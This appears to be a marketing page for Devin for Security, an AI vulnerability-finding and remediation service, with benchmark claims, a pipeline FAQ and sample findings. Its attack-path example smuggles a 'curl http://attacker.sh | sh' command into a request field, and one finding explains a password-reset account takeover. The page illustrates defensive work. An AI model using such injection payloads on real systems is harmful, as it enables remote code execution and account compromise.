Devin for Security
Devin finds the vulnerabilities other tools miss, validates that they are actually exploitable at runtime, and ships remediation PRs.
More accurate.
More cost effective.
Devin Security Swarm found 36 of 50 real-world GHSA vulnerabilities at 30% lower cost per finding than the next most accurate alternative.
Harness
Recall
$/Run
Devin SecurityThe benchmark covers published GitHub Security Advisories across Go, Python, JavaScript, Rust, Ruby, C#, Java, Swift, PHP, Elixir, Erlang, C, Kotlin, and Dart. Learn more
Introducing
Devin Security Swarm:
Powered by Agentic MapReduce
A new way for security and engineering teams to find, validate, and remediate vulnerabilities across their codebases.
Move from noisy finding lists
to validated fixes
Find novel threats
Devin reasons across files to catch vulnerabilities that span multiple components—business logic flaws, chained auth bypasses, and cross-service exploit paths. Findings are composed into full attack paths.
Chained auth bypass
Attack Path
POST /api/kernels {"env":{"KERNEL_SPARK_OPTS":"; curl http://attacker.sh | sh"}}
At lines 116-135, user_defined_spark_opts = env_dict["KERNEL_SPARK_OPTS"] is interpolated into SPARK_OPTS with no escaping. SPARK_OPTS is part of the env dict passed to launch_kernel.
Validate findings for exploitability
Devin reproduces each exploit in an isolated sandbox before surfacing it to your team, reducing false positives and giving reviewers context.
Runtime Validation
$ ./reproduce-exploit.sh
Starting isolated VM...
Sending crafted request...
Exploit reproduced
Attacker gains admin session
Runtime artifacts
Remediate faster with
Devin writing the PRs
After confirming the exploit, Devin writes the patch, runs validation, and opens a remediation PR ready for review.
usacognition/PantryPal #22
Hash stored passwords with bcrypt
4 files
Devin's AI analysis
This PR introduces bcryptjs to hash user passwords instead of storing them in plaintext. Key changes:
- Seed data and user registration now store
bcrypt.hashSync(password, 12)instead of raw passwords - The
GET /users/:idendpoint no longer returns the password hash (SELECT *→ explicit column list) - Seed passwords changed from weak values (
password123,hunter2) to stronger demo passwords
Security across the whole SDLC
Devin helps teams find, validate, remediate, and review vulnerabilities within their existing workflows
Security
Security Swarm
Deep, parallel vulnerability research with exploit validation and direct remediation.
usersApp.post("/api/users/password",secureFnc, function(req, res, next) {const permission = checkGroupsFnc(req);if (res.statusCode === 403) {runtime.logger.error("api post users/password: Token Expired");} else if (!req.body.username || !req.body.password) {res.status(400).json({error:"invalid_request", message: "Missing username or password"});} else {runtime.users.getUsers({ username: req.body.username }).then(users => {const user = (users && users.length) ? users[0] : null;if (!user) {res.status(404).json({error:"not_found", message: "User not found"});return;}runtime.users.setUsers({username: user.username,fullname: user.fullname,password: req.body.password,groups: user.groups,info: user.info,});}).catch(err) => {runtime.logger.error(err);Password-change endpoint lacks ownership or admin authorization checks
The new POST /api/users/password handler accepts any username and password after secureFnc, but never verifies that the authenticated request user is the same account (or an admin) before calling setUsers. In this codebase verifyToken also creates a guest token when no x-access-token is supplied (jwt-helper.js:46-65), so an unauthenticated/guest request can reach this handler and reset any known user's password, resulting in account takeover.
Recommendation
Require a valid authenticated non-guest user for this route, verify req.userId === req.body.username for self-service changes (or require admin permission for resets), and verify the current password before writing the new password. Reject guest/unauthenticated requests and avoid disclosing whether arbitrary usernames exist if possible.
Security in Devin Review
Catch risky patterns in every diff before a human reviewer approves the change.
Devin Security Program
A six-week engagement that takes your vulnerability backlog toward zero and keeps it there. Cognition's engineering team embeds with yours to set up Security Swarm for your codebase.
You walk away with your backlog cleared and proactive discovery running continuously.
Learn more about
Devin for Security
See how Devin finds, validates, and fixes vulnerabilities.
Get startedFrequently Asked Questions
- Threat modeling and matcher creation. One agent studies your repository and builds a threat model — the specific vulnerability classes that matter for this codebase, given its frameworks and languages. It turns that model into targeted searches that surface candidate locations (“signals”) and groups them into batches.
- Investigation. Multiple agents run in parallel, one per batch. Each reads the real source code around its signals and decides which are genuine vulnerabilities. This is where the depth comes from — the signals only point agents at code; the agents are told to look past them and trace issues across files.
- Aggregation and triage. One agent combines all findings, removes duplicates, attaches likely owners, composes cross-file attack chains, and assigns each finding a priority.
- Runtime validation (optional). If your scan profile enables it, agents stand up your app and safely reproduce top findings to confirm they’re actually exploitable.
- Report (optional). If your profile enables it, an agent compiles a shareable report of the results.
- Fewer false alarms, with proof. Every candidate must pass a strict reachability-and-impact check before it’s flagged, and (when enabled) runtime validation reproduces it against a live build. What reaches your team is evidence, not a queue of “maybes” to hand-triage.
- Vulnerability classes scanners miss. Because agents reason step by step, they find logic flaws and chained exploits — where several individually low-severity issues combine into one real threat. Pattern-based tools can’t reach these.
- The fix, not just the ticket. You can hand any finding back to Devin to open a policy-compliant pull request, and the next scan checks whether the fix actually resolved it.
- Coverage at scale. The parallel architecture lets a single program scan across a large repository estate, and follow-up scans only look at what changed — so continuous coverage stays affordable.